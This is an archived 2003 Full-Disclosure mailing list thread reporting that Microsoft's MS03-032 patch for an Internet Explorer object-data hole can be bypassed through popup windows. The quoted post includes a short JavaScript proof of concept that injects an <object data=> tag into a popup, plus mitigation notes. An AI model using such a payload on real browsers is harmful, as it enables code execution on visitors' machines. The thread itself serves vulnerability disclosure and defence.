full-disclosure - BAD NEWS: Microsoft Security Bulletin MS03-032

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

From: rms at computerbytesman.com (Richard M. Smith)
Subject: BAD NEWS: Microsoft Security Bulletin MS03-032

Hi,

Very interesting catch.  What made you think of checking Internet
Explorer popup windows to see if they still had the bug?  Do other
special IE windows like help and modal dialog windows have the same
problem?  Do we have guesses why Microsoft didn't check IE more
carefully to fully understand the extent of the <OBJECT DATA=> security
hole?

Richard M. Smith
http://www.ComputerBytesMan.com

-----Original Message-----
From: full-disclosure-admin@...ts.netsys.com
[mailto:full-disclosure-admin@...ts.netsys.com] On Behalf Of
http-equiv@...ite.com
Sent: Sunday, September 07, 2003 9:17 AM
To: full-disclosure@...ts.netsys.com
Subject: [Full-Disclosure] BAD NEWS: Microsoft Security Bulletin
MS03-032

Since the cat somehow got out of the bag, and more importantly, this 
is so blatantly obvious, herewith is the "Bad News":

The patch for Drew's object data=funky.hta doesn't work:

http://www.malware.com/badnews.html

<script>
  var oPopup = window.createPopup();

  function showPopup() {
    oPopup.document.body.innerHTML = "<object data=ouch.php>";
    oPopup.show(0,0,1,1,document.body);
  }

  showPopup()
</script>

Notes:

1. Disable Active Scripting
2. In case that does not work, uninstall Internet Explorer
3. http://www.eeye.com/html/Research/Advisories/AD20030820.html
4. This was sent to the manufacturer quite some time prior to this
   going out. Surprisingly no immediate acknowledgement
5. This is so blatantly obvious, in particular because it is
   the coupling of two known issues[one current + one from 2002]:

   http://www.securityfocus.com/bid/3867/

It is beyond comprehension why this was not checked from the       
outset as it is a known issue plus file://::{CLSID}in the control 
panel in the object tag still functions to date. 
6. At this stage one must really question the compentency of this 
particular operation. This is a pathetic oversight.

-- 
http://www.malware.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html